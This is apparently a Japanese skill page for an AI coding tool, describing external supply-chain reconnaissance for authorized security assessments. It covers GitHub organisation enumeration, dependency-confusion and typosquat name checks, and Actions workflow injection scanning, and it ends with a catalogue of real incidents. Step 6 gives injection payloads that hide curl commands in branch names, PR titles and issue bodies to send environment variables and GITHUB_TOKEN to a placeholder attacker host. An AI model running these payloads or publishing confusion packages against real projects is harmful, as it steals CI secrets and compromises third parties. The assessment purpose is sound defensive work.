mcpField
S
supply-chain-attack-recon

supply-chain-attack-recon

github.com/elementalsoulsセキュリティ5.3k268 回インストール1 日前に更新
リポジトリ

supply-chain-attack-recon について

外部セキュリティ評価向けのサプライチェーン攻撃面調査スキルです。公開リポジトリ、ビルドワークフロー、コンテナイメージ、依存関係メタデータを調べ、認証情報や設定上のリスクを探します。攻撃用パッケージの公開には明示的な許可が必要です。

主な機能

  1. 01公開リポジトリと機密ファイルの列挙
  2. 02内部パッケージ名とレジストリ情報の発見
  3. 03GitHub Actionsのインジェクションリスク確認
  4. 04イメージやビルドログの漏えい調査
  5. 05SBOMと依存バージョンの脆弱性照合

活用シーン

  1. 01公開GitHub組織とリポジトリの監査
  2. 02内部パッケージ名の依存関係混同リスク確認
  3. 03CIワークフローのコードインジェクション評価
  4. 04イメージやログからの認証情報発見

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill supply-chain-attack-recon

インストール後、Claude Code で/supply-chain-attack-reconを入力して読み込まれたか確認します。

詳細

使用するタイミング

次の場合に使用します:

  • 対象に公開 GitHub 組織がある(OSINT で特定)
  • JS バンドルが内部向けと思われるパッケージ名(@target-internal/...、target-utils、target-shared)を参照している
  • ビルドログ、SBOM、または package-lock.json ファイルに公開アクセスできる
  • 対象が一部公開されている CI/CD(GitHub Actions、GitLab CI、Bitrise)を使用している
  • Docker Hub/GHCR/Quay 上の Docker イメージが対象の組織に属している
  • 調査結果に内部レジストリ URL を含む npmrc/pip.conf/gradle.properties がある
  • .github/workflows/*.yml ファイルが内部ツールを参照している

次の場合は使用しないでください:

  • 内部ネットワークのアーティファクトレジストリ(外部境界の範囲外)
  • 明示的な許可なしに、実際にタイポスクワッティング/依存関係混乱のパッケージを公開すること
  • 上流のオープンソースプロジェクトを侵害すること(影響範囲が非常に大きく、許可がなければほとんどの法域で違法です)

サプライチェーン攻撃対象領域のマップ

Target Org
├── Public GitHub Org → workflow files → secrets exfil opportunities
├── Internal package names in JS/Android bundles → dependency confusion
├── Docker images on public registries → secrets in layers, RCE on pull
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
├── npmrc / pip.conf in repos → internal registry URL disclosure
├── External package dependencies → typosquat name candidates
└── Build/release pipelines → injection if pull_request_target etc.

ステップ 1 — GitHub 組織の特定

TARGET="<brand>"  # set to target brand name

# Direct guesses
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
  curl -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
done

# Via WHOIS / email-domain → GitHub search
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10

# Via employees → reverse from social media + GitHub profile
# Many employees list their employer org on their GitHub profile

ステップ 2 — 公開リポジトリから機密性の高いアーティファクトを列挙する

ORG="targetorg"

# List public repos
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef

# Look for high-signal repo names
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"

# Clone all (small org) or selectively
gh repo clone "$ORG/$repo_name"

ステップ 3 — 内部パッケージ名の特定

JS バンドルから
# JS bundles are the easiest source of internal npm names
curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u

# Look for scoped names that are NOT public on npm
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
  status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
  echo "  $pkg → $status"
  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
done
GitHub リポジトリの package.json ファイルから
# Public repos with package.json that reference internal scopes
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
  echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
done | sort -u
Python プロジェクトから
# Internal pip package names
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'

ステップ 4 — 依存関係混乱の脆弱性チェック

特定した内部向けと思われるパッケージ名ごとに、次を確認します:

NAME="@target-internal/utils"   # example

# npm check
curl -sI "https://registry.npmjs.org/$NAME" | head -1
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE

# pypi check (no scopes, just name)
NAME="target_utils"
curl -sI "https://pypi.org/project/$NAME/" | head -1
# 404 → name is registerable

# rubygems
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1

# Go modules — slightly different, since module names are URLs
# Check if module path is reachable
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1

重大度の判断: 名前が未取得だからといって、悪用可能とは限りません。次のいずれかの証拠も必要です:

  1. 対象のビルドシステムが公開レジストリから名前を解決する(内部レジストリだけではない)証拠
  2. または、対象のパッケージマネージャーが安全でない設定になっている証拠(例:@scope:registry= のマッピングがない .npmrc)
  3. または、そのパッケージが対象のビルドでインストールされる(デッドコードで参照されているだけではなく、実際に package.json に含まれている)こと

裏付けとなる状況がないレジストリの 404 は、情報提供のみの扱いです。


ステップ 5 — 外部依存関係を狙ったタイポスクワッティング候補

対象が使用する公開外部依存関係ごとに、次を確認します:

# Common typosquat patterns:
# Original: "react-router-dom"
# Typos: 
#   "react-router-doms" (extra s)
#   "react-routter-dom" (double t)
#   "react-rotuer-dom" (transposed)
#   "react--router-dom" (double dash)
#   "react-router-dorn" (m→rn)
#   "reactrouterdom" (no dashes)

# Generate candidates
python3 -c "
import sys
name='react-router-dom'
for i in range(len(name)):
    print(name[:i] + name[i+1:])   # delete
    if i < len(name)-1:
        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose
"

# Check which candidates are UNCLAIMED on the registry
for candidate in ...; do
  status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
  [ "$status" = "404" ] && echo "  UNCLAIMED: $candidate"
done

⚠ 外部に影響する攻撃に関する注意: 公開レジストリにタイポスクワッティングパッケージを公開することは、広範なエコシステムに対する攻撃です。明示的な書面による承認を得て、範囲を明確にしない限り、絶対に実行しないでください。契約対象外のユーザーにも影響する可能性があり、違法となる場合があります。


ステップ 6 — GitHub Actions ワークフローへのインジェクションをスキャンする

.github/workflows/ がある各公開リポジトリについて、次を確認します:

for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
  for wf in $workflows; do
    content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
    echo "=== $repo/$wf ==="
    
    # High-risk patterns:
    # 1. pull_request_target (runs with secrets on PR from forks)
    echo "$content" | grep -E 'pull_request_target'
    
    # 2. Untrusted context interpolation
    echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
    
    # 3. ${{ github.event.* }} into shell run blocks
    echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
    
    # 4. checkout of PR head with elevated perms
    echo "$content" | grep -E 'ref:.*pull_request|head_ref'
    
    # 5. Self-hosted runner without isolation
    echo "$content" | grep -E 'runs-on:.*self-hosted'

    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
    echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
  done
done
フラグを立てるインジェクションパターン(重大度の目安)
パターン重大度
pull_request_target と actions/checkout の組み合わせで ref: pull_request.head.sha を指定し、リポジトリのシークレットを使用Critical — 組織のシークレットを使ってランナー上で RCE が可能
${{ github.event.pull_request.title }} をシェルに補間Critical — PR タイトル経由のスクリプトインジェクション
サードパーティアクションをコミット SHA ではなく変更可能なタグ(uses: org/repo@v1 / @main)に固定High — 参照先を変更可能なサプライチェーン攻撃経路(ケース #9 を参照)
公開リポジトリのワークフローから到達可能なセルフホストランナーHigh — 攻撃者が持続的に侵入するための踏み台
Issue コメントをトリガーとするワークフローが、トークンを使って gh を実行High
対象が管理する URL からワークフローがダウンロードMedium
GitHub Actions コンテキストのインジェクション先(ブランチ名、PR タイトル、Issue 本文)

PR メタデータから run: ブロックに渡される信頼できないコンテキストは、典型的なインジェクション経路です。テスト用ペイロード:

# Malicious branch name (test in a fork PR):
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"'
git push origin 'feat/x"; curl https://attacker/?d=$(env | base64);"'

# Malicious PR title (create a test PR with this title):
PR_TITLE='x"; curl https://attacker/?d=$(echo $GITHUB_TOKEN | base64);"'

# Malicious issue body:
ISSUE_BODY='x"; curl https://attacker/?leak=$(git config user.name);"'

# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.
公開 GitHub Actions の実行ログ(シークレット漏えい)

公開リポジトリでは、Actions のログはデフォルトで公開されています。次を探します:

# List all Action runs for a repo
gh api repos/OWNER/REPO/actions/runs --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'

# Fetch logs from a run
gh api repos/OWNER/REPO/actions/runs/<id>/logs --jq '.logs' | base64 -d

# Search logs for common leakage patterns
gh api repos/OWNER/REPO/actions/runs/<id>/logs | grep -iE 'token|key|secret|password|credential|aws_'

ログ内のシークレット漏えいは、認証情報の直接的な流出です。重大度はトークンの種類(GitHub PAT、npm トークン、AWS キーなど)によって異なります。

zizmor による Actions インジェクション先の静的検出

信頼度の高い自動検出を行うには、すべてのワークフローファイルに対して zizmor アナライザーを実行します:

# Install zizmor (Rust-based, from https://github.com/woodruffw/zizmor)
cargo install zizmor

# Scan all workflows
zizmor .github/workflows/*.yml

# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.
# Sort findings by risk tier

Zizmor を使うと手作業での正規表現作成を減らせるほか、変数参照を介した間接的なコンテキスト補間など、見落としやすいケースも検出できます。


ステップ 7 — Docker/コンテナイメージレジストリの調査

# Docker Hub
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'

# GHCR (GitHub Container Registry) — public images visible in repo packages tab
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null

# For each image, list tags
for img in image1 image2; do
  curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
done

# Pull and inspect layers
docker pull "$ORG/$img:latest"
docker history --no-trunc "$ORG/$img:latest"

# Mine layers for secrets
docker save "$ORG/$img:latest" -o /tmp/image.tar
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
# Then run gitleaks / trufflehog over extracted filesystem
trufflehog filesystem /tmp/img/extracted --no-update

ステップ 8 — SBOM/アーティファクトメタデータの漏えい

# Look for SBOMs published as releases (SPDX, CycloneDX format)
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'

# JSON dependency lockfiles in releases
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'

# Exact-version-pinned deps → known-CVE chaining
# Compare versions to nuclei nvd templates or osv.dev for known vulns
curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'

ステップ 9 — 内部レジストリ URL の漏えい

# .npmrc patterns
grep -r "registry=" .                                            # in cloned repos
grep -r "_authToken=" .                                          # leaked npm token!
grep -r "@.*registry=" .                                          # scoped registry

# pip config
grep -r "extra-index-url" .
grep -r "index-url" .

# Gradle / Maven
grep -rE "(mavenCentral|maven\s*\{)" .
grep -r "url.*\(.*nexus" .

# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable

ステップ 10 — npm/PyPI における組織の存在

# Some orgs maintain a public npm scope mirroring their brand
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'

# Public PyPI presence
curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20

# Check if scope is taken — if it's NOT, an attacker could register
# (relevant for any internal package using that scope)
curl -sI "https://registry.npmjs.org/-/org/$ORG"

ステップ 11 — フロントエンドとサードパーティ依存関係のチェック

侵害された CDN の検出(polyfill.io など)

侵害が確認された CDN や分析サービスは、悪意のある攻撃に利用されています。対象の公開 HTML/JS をチェックします。

# Detect usage of polyfill.io and similar historically-compromised services
curl -s https://target.com | grep -i polyfill
curl -s https://target.com | grep -iE '(polyfill\.io|cdn\.jsdelivr\.net.*polyfill|babel\.min\.js)'

# Check JavaScript bundles
for bundle in public/*.js main.*.js app.*.js; do
  grep -i polyfill "$bundle" && echo "FOUND: $bundle"
done

参考:polyfill.io は 2024 年に侵害され、悪意のあるペイロードを配信するようになりました。存在する場合は、サプライチェーンのリスクとなります。


ツール

ツール用途
trufflehogファイルシステム/git/docker のシークレットスキャン
gitleaksGit 履歴のシークレットスキャン
dependency-confusion (Confused)npm スコープ/PyPI のチェック
packjパッケージのリスクスコア(PyPI/npm/RubyGems)
Lift / Snyk vuln-dbパッケージのバージョンによる既知の CVE の検索
actionlintGitHub Actions の静的解析ツール
zizmorGitHub Actions のインジェクションとセキュリティ上のアンチパターンの検出
OSSGadgetMicrosoft のパッケージメタデータツールキット
semgrep + サプライチェーンルールワークフローインジェクションの検出
osv-scannerバージョンと既知の脆弱性の照合

重大度の評価指針

発見事項重大度
内部パッケージ名があり、スコープマッピングがなく、公開 npm で未登録で、ビルドで実際に使用されている重大 — 依存関係の混同による RCE
内部パッケージ名があり、.npmrc にスコープマッピングがあるが、_authToken が漏えいしている重大 — レジストリへの直接プッシュ
Pull_request_target ワークフローでシークレットが公開され、PR からコードを実行できる重大 — 組織全体のトークン窃取
レイヤーに漏えいしたシークレットを含む Docker イメージ高(シークレットによって異なります)
内部レジストリ URL が開示されている(認証情報はなし)低 — 情報開示のみ
タイポスクワッティング候補が特定された(未公開)参考情報 — 注意喚起項目
公開組織に、取得可能な未使用名が 1000 個以上ある参考情報 — 衛生管理

アンチパターン

  • 明示的かつ署名済みで、スコープが明確な許可なしに、タイポスクワッティング/依存関係の混同を狙ったパッケージを公開しないでください — これはエンゲージメント外のユーザーにも影響します
  • 特別な許可なく、テストの一環としてクライアントのリポジトリに PR を送信しないでください — ワークフローインジェクションの PoC が必要になる場合もありますが、CI/CD や他の開発者に影響します
  • タイポスクワッティング候補を探すために npm/PyPI 全体をスクレイピングしないでください — 無責任であり、ノイズも多くなります
  • 「名前が未登録」であることと「悪用可能な依存関係の混同」を混同しないでください — ビルドシステムが重要です。適切なスコープマッピングを使用して攻撃を防いでいる組織も多くあります
  • GitHub Actions のセルフホストランナーには触れないでください — クライアントのネットワーク内にあり、外部スコープの対象外である可能性があります
  • 大きな Docker イメージをむやみにプルしないでください — イメージのサイズは 5〜50GB の場合があるため、まずタグを確認してください

成果物として報告すべき発見事項

サプライチェーンに関する発見事項には、以下のすべてが必要です。

  1. 具体的な名前/パス — 正確な内部パッケージ名、正確なワークフローファイルのパス、正確なイメージタグ
  2. 脆弱性の仕組み — 依存関係の混同/タイポスクワッティング/インジェクションなど
  3. 悪用可能性の証拠 — ビルド/インストールで攻撃者のペイロードが実際に使用されることの証明(単に「名前が未登録」というだけでは不十分です)
  4. 重大度 — 影響範囲に応じた評価(開発者 1 人か、全開発者か、パッケージの全ユーザーか)
  5. 推奨事項 — 具体的な内容(例:「未使用でも、npm で未登録の名前 @target-internal/utils を自分の組織のものとして登録し、.npmrc の scope:registry マッピングを設定する」)

隣接するスキルへの橋渡し

  • apk-redteam-pipeline — APK から内部のパッケージ名も判明します(逆コンパイルした build.gradle で確認できます)
  • cloud-iam-deep — CI/CD のシークレットはクラウド認証情報であることがよくあります。このスキルで発見し、あちらのスキルで有効性を検証します
  • hunt-cloud-misconfig — CI/CD パイプラインの設定ミス(Jenkins/GitLab Runner)と調査範囲が重なります
  • m365-entra-attack — Azure DevOps パイプラインは Entra の攻撃対象領域の一部です
  • redteam-report-template — サプライチェーンの調査結果では、影響範囲(1 つのリポジトリか、エコシステム全体か)を特に明確にする必要があります
  • mid-engagement-ir-detection — 公開 npm に名前を登録してもクライアント内部では何も起きませんが、公開操作はどれも目立ち、監査記録に残ります

外部のみという境界の確認

このスキルの対象は完全に外部であり、対象はすべて公開レジストリまたは公開 GitHub です。エンゲージメントにクライアントの内部アーティファクトレジストリ(内部 Nexus、JFrog、Sonatype)が含まれる場合、それは内部インフラストラクチャであり、feedback_skill_boundaries に従って対象範囲外です。内部レジストリの URL が公開されている場合は調査結果として報告し、列挙は試みないでください。


実際の事例

  • Alex Birsan 2021 — 依存関係混乱に関する最初の調査。Apple/Microsoft/PayPal/Yelp などから 13 万ドル以上の報奨金を獲得しました。
  • ua-parser-js 2021 — メンテナーの認証情報が盗まれたことによる npm パッケージの侵害
  • node-ipc 2022 — メンテナーが悪意あるサプライチェーン更新を導入
  • 3CX 2023 — X_TRADER → 3CX → 顧客へと連鎖したサプライチェーン攻撃
  • XZ Utils 2024 — 上流 OSS を標的にした、複数年にわたるソーシャルエンジニアリングを利用したサプライチェーン攻撃

それぞれについて、攻撃を効果的にした要因と、早い段階で見られた危険信号を把握するために読む価値があります。


公開事例カタログ(出典)

上記の偵察対象領域に対応付けた、十分に文書化された公開事例 12 件です。各項目には、攻撃名、年、攻撃の流れ、根本原因、影響、参考資料、偵察スキルから得られる教訓を記載します。

1. SolarWinds Orion/SUNBURST(CISA AA20-352A、2020 年 12 月)
  • 攻撃の流れ: APT29(UNC2452/Cozy Bear)は SolarWinds のビルドパイプラインに侵入し、SUNBURST バックドアを SolarWinds.Orion.Core.BusinessLayer.dll に挿入しました。トロイの木馬化された DLL には SolarWinds の正規証明書でコード署名が行われ、2020 年 3 月から 6 月にかけて通常の自動更新チャネルを通じ、約 18,000 の顧客に配布されました。
  • 根本原因: ビルド環境の侵害 — 攻撃者はコンパイル中にソースコードを改変し、署名インフラストラクチャはソースの完全性を検証せずにビルド出力を信頼していました。
  • 影響: 約 18,000 の組織がバックドアを受け取り、そのうち約 100 組織(米国財務省、商務省、国土安全保障省、司法省、Microsoft、FireEye/Mandiant など)が第 2 段階の TEARDROP/BEACON ペイロードを受け取りました。SolarWinds は直接的な対応費用が 4,000 万ドルを超えたと報告し、集団訴訟の和解金は 2,600 万ドルでした。
  • 参考資料:
  • 偵察から得られる教訓: 対象が自社の CI から署名済みバイナリを配布している場合、偵察で確認すべき点はビルド環境自体にアクセスできるかどうかです。公開されている Jenkins/GitLab CI コンソール、公開 TeamCity エージェント、またはソースコードのパスが漏れるビルド成果物を探してください。コード署名証明書と侵害されたビルドが組み合わさると、信頼の連鎖は止められなくなります。
2. 3CX VoIP ソフトフォンのサプライチェーン攻撃(CVE-2023-29059、2023年3月)
  • 攻撃の流れ: 北朝鮮に起因するとされるLazarusのサブグループ(UNC4736/Labyrinth Chollima)が、WindowsとmacOSの両方で3CX DesktopApp(Electronベースのソフトフォン)にトロイの木馬を仕込みました。最初の侵入経路は、先行するサプライチェーン攻撃でした。従業員がTrading TechnologiesのX_TRADERのバックドア入りコピーをインストールしており、これは開示された初の連鎖的なサプライチェーン侵害でした(あるサプライチェーン被害者が、別の被害者への侵入経路になるケースです)。
  • 根本原因: 開発用ワークステーションの侵害 → 3CXのソースコード/ビルドパイプラインへのアクセス → 悪意のあるffmpeg.dllとd3dcompiler_47.dllが署名済みインストーラーに含まれて配布されました。
  • 影響: 約600,000の組織が3CXを利用しており、数万件のトロイの木馬化されたクライアントがダウンロードされました。Lazarusは、暗号資産関連企業や取引会社に対して、第2段階のペイロードを選択的に有効化しました。
  • 参考資料:
  • 偵察から得られる教訓: 連鎖的なサプライチェーン攻撃は現実に起きます。標的のベンダーの、そのまたベンダーも重要です。偵察で「この組織がエンジニアのノートPCにインストールしているソフトウェア」を調べる際は、それぞれがサプライチェーン攻撃の標的になり得ます。Electronアプリ(署名済みJSバンドル)は、特によくある侵入経路です。
3. MOVEit Transferの大規模悪用(CVE-2023-34362、2023年5月~7月)
  • 攻撃の流れ: Cl0pランサムウェアのアフィリエイト(FIN11/Lace Tempest)が、Progress MOVEit Transferの認証不要のSQLiを発見してLEMURLOOTウェブシェルを展開し、2023年5月31日にパッチが公開されるまでの約2週間、インターネットからアクセス可能なすべてのインスタンスからファイルを窃取しました。
  • 根本原因: moveitisapi/moveitisapi.dllの認証前SQLi → 任意のSQL実行 → xp_cmdshell相当の経路を通じたウェブシェルの書き込み。典型的な単一CVEによる大規模悪用です。ビルドパイプラインへの攻撃ではなく、出荷済みコードのサプライチェーン上の欠陥です。
  • 影響: 約2,700の組織が侵害を確認され、約9,500万人の個人情報が漏えいしました(BBC、Shell、BA、米国エネルギー省、ルイジアナ州のOMV、オレゴン州のDMVなど)。損失総額は推定で150億ドルを超えます。
  • 参考資料:
  • 偵察から得られる教訓: ベンダーのファイル転送製品(MOVEit、Accellion FTA、GoAnywhere MFT、Cleo Harmony)には、「インターネットに接続され、あらゆる組織のデータを保管し、Windows上で動作する」というパターンが繰り返し見られます。偵察の早い段階で、HTMLタイトル/ファビコンのハッシュを使って必ず製品を特定してください。エッジ製品のCVEが1つあれば、顧客基盤全体が標的になり得ます。
4. Codecov の bash アップローダー侵害(2021 年 4 月)
  • 攻撃の流れ: 攻撃者は、イメージ作成フローでの認証情報の扱いの誤りを利用して Codecov の Docker イメージビルドプロセスにアクセスし、Bash Uploader スクリプト(https://codecov.io/bash)を改ざんして、環境変数を第三者の IP アドレスに流出させました。この改ざんは 2021 年 1 月 31 日から 2021 年 4 月 1 日まで続き、SHA-256 の不一致に気付いた顧客が検知するまで 2 か月間続いていました。
  • 根本原因: Docker イメージのビルド時に認証情報が漏えいし、配信中の bash スクリプトを改ざんできる状態でした。顧客側で整合性検証(署名付きの固定ハッシュ)が行われていませんでした。
  • 影響: 2 か月間、curl -s https://codecov.io/bash | bash をパイプで実行した世界中のすべての CI 実行で環境変数が流出しました。下流で被害が確認された組織は、HashiCorp(GPG キーをローテーション)、Twilio、Rapid7(ソースコードの一部が漏えい)、Mercari、Confluent、Atlassian です。
  • 参考資料:
  • 調査上の教訓: 公開 CI ワークフローにある「curl-bash-install」パターンは、この調査スキルにとって価値の高い手がかりです。.github/workflows/ を検索し、curl ... | bash、wget ... | sh、iwr ... | iex を探してください。シェルに渡されるサードパーティの URL は、サプライチェーンへの被害を広げる可能性があります。ワークフローで SHA を固定すればリスクを軽減できます。固定されていない場合は、調査結果として報告します。
5. ua-parser-js npm アカウント乗っ取り(2021 年 10 月)
  • 攻撃の流れ: 攻撃者はメンテナーの npm アカウントをフィッシングまたは認証情報の総当たりで侵害し、ua-parser-js の 0.7.29、0.8.0、1.0.0(週あたり約 700 万ダウンロード、Facebook、Microsoft、Amazon、IBM にも依存関係を通じて到達)を公開しました。悪意のあるバージョンには、クリプトマイナーと Windows 用パスワード窃取プログラム(Jason credential stealer)をダウンロードする preinstall フックが含まれていました。
  • 根本原因: メンテナーの npm アカウントでは 2FA が有効になっておらず、認証情報も弱いものでした。当時、npm は影響力の大きいパッケージの公開者に 2FA を義務付けていませんでした。
  • 影響: パッケージは削除されるまで約 4 時間公開されていましたが、その間に数万件のインストールがありました。CISA は緊急警報を発令しました。CISA が npm パッケージの侵害について警告したのは、これが初めてでした。
  • 参考資料:
  • 調査上の教訓: 対象組織でダウンロード数上位 30 件の npm/PyPI パッケージを管理するメンテナーを特定し、アカウントで 2FA が有効になっているか確認してください(npm では組織メンバーについて npm profile get から確認でき、レジストリ API でも一部公開されています)。調査結果の例:「公開レジストリのデータによると、この 4 人のメンテナーは合計 X 件のインストールがあるパッケージを管理しており、2FA を有効にしていません。」
6. event-stream npm パッケージ(2018年11月)
  • 手口: 元のメンテナーである Dominic Tarr(このモジュールを使わなくなっていました)は、保守を申し出た新しいコントリビューター「right9ctrl」に、週あたり約200万回ダウンロードされていた event-stream を引き継がせました。新しいメンテナーは依存関係に flatmap-stream を追加し、その後、Copay ビットコインウォレットのビルドを標的とするペイロードを含む flatmap-stream の更新を公開しました。これにより、Copay ユーザーのウォレットから BTC/BCH のシードが盗まれました。
  • 根本原因: メンテナンス引き継ぎにおけるソーシャルエンジニアリングです。重要なパッケージを引き継ぐ新しいコントリビューターに対するレビューがありませんでした。悪意のある依存関係が実行されるのは、event-stream が Copay ウォレットにバンドルされた場合だけでした(ビルドコンテキストを標的にする手法)。
  • 影響: Copay ウォレットのユーザーから鍵が盗まれました。正確な金銭的被害額は公表されていません。この事件を受けて、npm 全体で 2FA が推進され、「人気のあるパッケージには追加レビューが必要」というポリシーが導入されました。
  • 参考資料:
  • 偵察時の要点: ターゲットが依存するパッケージについて、npm view <pkg> maintainers を確認し、最近のメンテナー変更を調べてください。ダウンロード数が10万回を超えるパッケージで、過去90日以内にメンテナーが変更されている場合は黄色信号です。また、ビルドコンテキストを標的にするペイロード(特定のアプリにバンドルされたときだけ動作するもの)は検出が非常に困難です。静的スキャナーでは見逃されます。
7. PHP Git サーバーの侵害(2021年3月)
  • 手口: 攻撃者は git.php.net 上の公式 php-src Git リポジトリに、Rasmus Lerdorf と Nikita Popov の名義で署名した悪意のあるコミットを2件プッシュしました。コミットは、User-Agentt HTTP ヘッダー(t が2つ)からコードを実行する Zend バックドアを追加するものでした。
  • 根本原因: セルフホストの Git サーバー(Gitolite ベースの git.php.net)に、認証情報または認証の不備がありました。ユーザーデータベースの漏えいによって、パスワードが平文で保存されていた可能性があります。この事件の後、PHP チームは GitHub を正規のソースとして採用しました。
  • 影響: バックドアを含むコミットは数時間以内に発見され、リリースに含まれることはありませんでした。しかし、「セルフホストの信頼できる唯一の情報源は、単一障害点になる」ことを示す典型的な事例です。
  • 参考資料:
  • 偵察時の要点: セルフホストの Git(Gitea、Gitolite、Phabricator、Bitbucket Server)を運用するターゲットは、GitHub でホストされている場合よりリスクが高くなります。偵察では Git サーバーソフトウェアを特定し、デフォルトの認証情報を確認し、予期しない IP アドレスから SSH 鍵を使って行われたプッシュ(コミットメタデータで確認可能)を監視してください。
8. Log4Shell(CVE-2021-44228、2021年12月)
  • 攻撃の流れ: 厳密にはサプライチェーン攻撃そのものではありませんが、「依存関係ツリーに何が含まれているか把握できない」ことを象徴する事例です。Apache Log4j 2.x の JNDI ルックアップ機能により、ログに記録される任意の文字列に ${jndi:ldap://attacker/...} を含めることで、リモートコード実行が可能でした。Log4j は数千もの Java アプリに間接的に取り込まれていたため、数億台のシステムが脆弱でした。
  • 根本原因: 2013年に安全ではない状態がデフォルトの機能(MessageLookup 置換)がリリースされました。また、深くネストした間接依存関係により、インベントリの作成やパッチ適用はほぼ不可能でした。
  • 影響: CISA ディレクターの Jen Easterly 氏は「過去10年間で最も重大な脆弱性」と評しました。あらゆる主要クラウド、Apache の全製品、Java エンタープライズスタック全体が影響を受けました。Conti や Khonsari ランサムウェア、国家支援の攻撃者による大規模な悪用が続いています。
  • 参考資料:
  • 偵察での教訓: この事例では SBOM が有効です。偵察スキルのステップ 8(SBOM の調査)が真価を発揮します。公開リリース成果物から SPDX/CycloneDX を取得すれば、間接依存関係の正確なバージョンを特定し、OSV/NVD と照合して既知の CVE を調べられます。ほとんどの組織は、間接依存関係の深さを過小評価しています。
9. tj-actions/changed-files GitHub Action の侵害(CVE-2025-30066、2025年3月)
  • 攻撃の流れ: 攻撃者は約23,000のリポジトリで使われていた tj-actions/changed-files GitHub Action を侵害し、バージョンタグ v1~v45 をすべて悪意のあるコミットを指すように変更しました。注入されたコードは printenv を実行し、CI シークレットを GitHub Actions のログに出力しました。公開リポジトリでは、読み取りアクセス権を持つ人なら誰でも閲覧できる状態でした。
  • 根本原因: GitHub Actions で変更可能なタグ参照が使われていたことです。uses: tj-actions/changed-files@v35 は実行時に解決されるため、リポジトリを制御する攻撃者は古いタグの参照先を変更できます。ほとんどの利用者はコミット SHA(@<sha>)を指定していませんでした。
  • 影響: 約23,000のリポジトリが影響を受け、CISA はこの事案を KEV に追加しました。数千件のシークレット(AWS キー、npm トークン、Docker Hub 認証情報)が公開された Action ログに漏えいしました。Coinbase、Cloudflare など、複数の下流インシデントとの関連も確認されました。
  • 参考資料:
  • 偵察での教訓: これは現在、最も成果が期待できる偵察ベクトルです。公開リポジトリを検索し、uses: <org>/<repo>@v\d+(変更可能なタグ)と uses: <org>/<repo>@<sha>(固定された参照)を見分けます。固定されていないサードパーティ製 Action はすべてサプライチェーンリスクです。このスキルのステップ 6 では、変更可能なタグの使用を明示的に検出すべきです。
10. PyPI のタイポスクワッティング(colourama、python3-dateutil、jeIlyfish など)
  • 手口: 攻撃者は、人気のあるパッケージと見た目やつづりがよく似た名前の PyPI パッケージを登録します。たとえば、colorama に対する colourama、python-dateutil に対する python3-dateutil、jellyfish に対する jeIlyfish(L の代わりに大文字の I)です。いずれも setup.py のインストール後フックを含み、SSH キー、GPG キー、GitHub トークンを外部に流出させたり、~/.bitcoin/wallet.dat を標的とする暗号資産窃取ツールをインストールしたりしていました。
  • 根本原因: PyPI では視覚的に紛らわしい名前が許可されており、pip は名前を完全一致で解決します。新しいパッケージの公開に際して、人による審査の関門がありません。
